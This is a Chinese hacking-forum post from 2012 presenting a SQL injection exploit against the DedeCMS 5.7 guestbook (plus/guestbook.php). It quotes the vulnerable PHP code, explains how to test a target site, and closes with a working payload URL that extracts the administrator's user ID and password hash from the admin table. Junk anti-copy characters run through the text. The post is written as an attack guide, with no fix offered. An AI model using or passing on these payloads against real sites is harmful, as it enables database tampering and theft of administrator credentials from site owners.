找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3608|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
0 U6 x" T3 j" w. u8 M% y: l
4 Z, p$ H0 _9 t/ U漏洞文件edit.inc.php具体代码:
/ }; ^" C; F' R- S; Z* F9 u$ a
7 t6 b; o1 h: g" [< ?php  
$ U+ }, l4 P( h; e: O+ b0 A7 \- L8 I0 K* z7 Z' B8 e
if(!defined('DEDEINC')) exit('Request Error!');  
: e4 C" y2 z' e1 E; ^8 O
' G' p& _$ s4 X, A/ ?' T1 M6 b- w   0 \9 N1 Q' S& N( _9 N5 ^4 e6 V
4 E$ O- I( N3 T5 r, X' i7 x) f
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  4 _% C+ I4 ~4 V" T5 f- x
9 U3 ^# @- o8 l2 P( p2 T: D4 [
else $GUEST_BOOK_POS = "guestbook.php";  
4 N; F) V* t0 G- E* [$ h! ?: b' c$ s+ e: M, n0 _$ X
   
3 s- M8 g, X$ _5 e4 z. w/ O; Q2 `  O9 W  f0 M0 y. p1 p/ E( R' Y
$id = intval($id);  
, O/ ~" S! T" j* P. c/ v! u$ B+ ~# v$ u6 G; g. V& b
if(empty($job)) $job='view';  . Q8 E3 r7 `- m

! w( o5 S1 U6 z! W   
8 s% E/ f; B; O
3 i/ J4 J3 z' V) Q- O* iif($job=='del' && $g_isadmin)  5 \$ ~8 Q  |" Y/ O) A3 ]' \' E/ S

  J2 ~3 V+ k% H/ ~; C$ b" O& p{  8 z8 Z+ s9 a* L$ _" ?  Y

. e- y* e7 g9 X$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ; L2 l& }; P; Z3 ]4 ?1 @
) C1 X' R( R5 k! \9 c
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  - b! M" x& M( |1 Q  Z5 N
9 k: i2 R" k6 L+ Z
exit();  
* w( A9 b# x( o6 X. y% J( L' K9 S: l) w$ T
}  
0 k! d0 M! x7 y) {" d% \) [* Z' H' R- D- h) f
else if($job=='check' && $g_isadmin)  & R+ `* z& `0 q1 E
; I% @2 X4 j' H% f- e' J
{  
4 N3 B) _  g- r  Q$ Y! M1 O, R" \" J
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
  y/ f6 |; `/ e, ]- e% @; y5 S' ?8 a  u
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  5 o. ^* j7 X* H# Z, J: z
9 b5 C2 o5 x! e$ {2 V6 |  S
exit();  
' |5 \4 K9 M0 l% _
8 Y- |; W& ?( g- C}  
: \0 b2 g3 [3 U( g: c& W1 G; [
else if($job=='editok')  3 g8 H) m0 p( N: L- `: S' w5 @
  y0 R5 K2 P( E
{  ) A# J. h" g3 c. @) e$ w" G
% b( D2 s# C- u( R) U! P$ l
$remsg = trim($remsg);  
- |) C! I! w) y8 Z1 l. _- c
. w; L; x2 d) f6 A/ H% a% B1 q4 Jif($remsg!='')  
9 ^7 l( R- G. |; M
) k6 @0 K/ [, Q* k. y- ~{  
6 |# l+ a6 J4 ]" z  e# y3 c
; M7 [. i6 ^2 n! U//管理员回复不过滤HTML By:Errorera blog:errs.cc  ! l4 B: V4 s1 S' Y0 O6 _
. u- ^( b) z* r9 j7 _! p# ~1 f
if($g_isadmin)  9 G- h! w% n6 c& O8 I% L( z

" x' P" @5 p( E0 m- [/ ]8 j{  % W: U) @& t% J$ F; ~5 p& d

& |: y2 C/ Z3 d$ u# B& J$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  9 ~, d4 ~2 y5 q& u
" x7 v) |3 L+ U# r* H+ V
//$remsg <br /><font color=red>管理员回复:</font> }  ; u0 T* Y6 ?; ]* S( @

+ ~0 ]9 \  b- e+ a; yelse $ W. c* j5 \: W' k5 a, f
- Z7 p( e- o5 u' @7 i$ \- R# r
{  
! x% u1 L) e$ z; U( e( }6 U/ t
+ Q8 }3 t  @4 K! @3 ]$ E/ s5 ?$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
, ^3 t0 u1 O, I" o- P
, L3 H4 C2 z" ~" @! y4 }( }/ L/ ]$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  # u- V. O/ F9 U" N( q9 j
& G: |& x* l# _2 o
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  " A+ F$ W" V: J  a, W3 d/ @

$ \$ N/ G. Z% s( f1 D* T$msg = $oldmsg.$remsg;  5 `6 N  @+ |& A# l

1 I( J) V) w. ~# o/ Q}  
/ j% ?5 ?: E5 f, j+ Q5 i6 ~2 f( k+ @& n. U$ ]
}  " ~% ~4 U+ u  y" y

7 i/ p4 E% E% q: T9 a  e+ s//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
, E$ [1 o4 c" b6 z. Z/ z( a% M; h0 v4 a
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  ; y& Z' o+ V% V& [% a4 K% Z

. ?# ]' d* G( J, U3 Y* TShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
/ F- R! i, x' I. ^; [2 ^- _
! \# L. o& \+ u, Texit();  $ E& z4 T4 g" Q5 X' T1 T
, `5 |4 o1 g# b& y0 x* w; O3 ?: X
}  % X8 }- C9 k1 M; O0 t
+ _' |4 n% p4 V  f' i; u+ R
//home:www.errs.cc  
3 M1 K4 I9 Y9 T/ T- r: p  T/ k5 X+ ?" r$ U3 {$ K, H' W+ a# e. f* w" ]
if($g_isadmin)  
* C2 p- ~) S: Z; w/ L  M- I; m, b. D9 J, ]. I- [
{  
9 U9 T* s+ h+ \1 A, s+ }- ^% ?0 p( x4 [% H# ]8 H3 w
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  3 l4 g2 Q9 L) {" C
, Q$ W: t) y: B. U: f8 R+ Y; J$ Y
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  + A" _: k7 q( z1 T

9 D& S) _$ Z) v% U# v}  
. ], k  F) t( V- E! B
9 E4 N0 K( h$ |' U+ Z% {else & Q; U" ^% O0 L/ {" z
# q; G: K4 A! Q; Z
{  4 f/ @  F; P! m. l9 g7 {9 F8 b

* ~9 l5 c, Y% i0 Z6 d  Q$ w$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
" b4 s" H2 |, n$ g8 Z9 z; Q" l6 c* [- s1 J
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  % Q6 u  i9 x# A7 i* P0 M

& ^9 N4 ^: X+ x! l/ f+ ]+ v# i} 漏洞成功需要条件:/ z/ U. x+ w5 w+ k3 x
1. php magic_quotes_gpc=off
" @% U' O4 C' u* t6 H" D0 g2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。6 R3 n3 Y+ Q9 l, d
+ ]$ v5 X& P, B( X. S
怎么判断是否存在漏洞:
# p( b- ^! ~1 H9 k/ ~先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
7 Q3 s) d( Z8 b4 Y/ }- k4 U然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID3 _7 v, Z/ z0 ^, z% X; B' n$ ~" B- e
访问:. i5 F1 h, _$ f( x" S( ?( c6 A( z
8 y) N& m1 }& U9 b/ T
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
% m& @2 ?4 U9 p& g! x% R跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
6 M: s* q; M0 K9 y1 ?/ j& \% f% z& W

4 L3 h5 b3 M. x& C# \6 A明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
2 K9 A( A3 q  N* }2 E如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。) Y" y6 f0 \8 M; |, I
那么再次访问
3 @$ h) r1 d+ Y+ k. @
* F- ?: s- i' K* T: `  F# [www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
+ L0 v4 v" B& j7 J$ Y- Q  y; J9 v8 J6 t% c
大概利用就是这样,大家有兴趣的多研究下!!
  E  b0 _9 R" C1 |4 K( ]1 L8 A  i( [4 r: I9 Y
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
) u* l1 b/ O/ y5 j3 Z" `1 @) ]& Y- V, b# u$ ]4 l9 Y, W
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表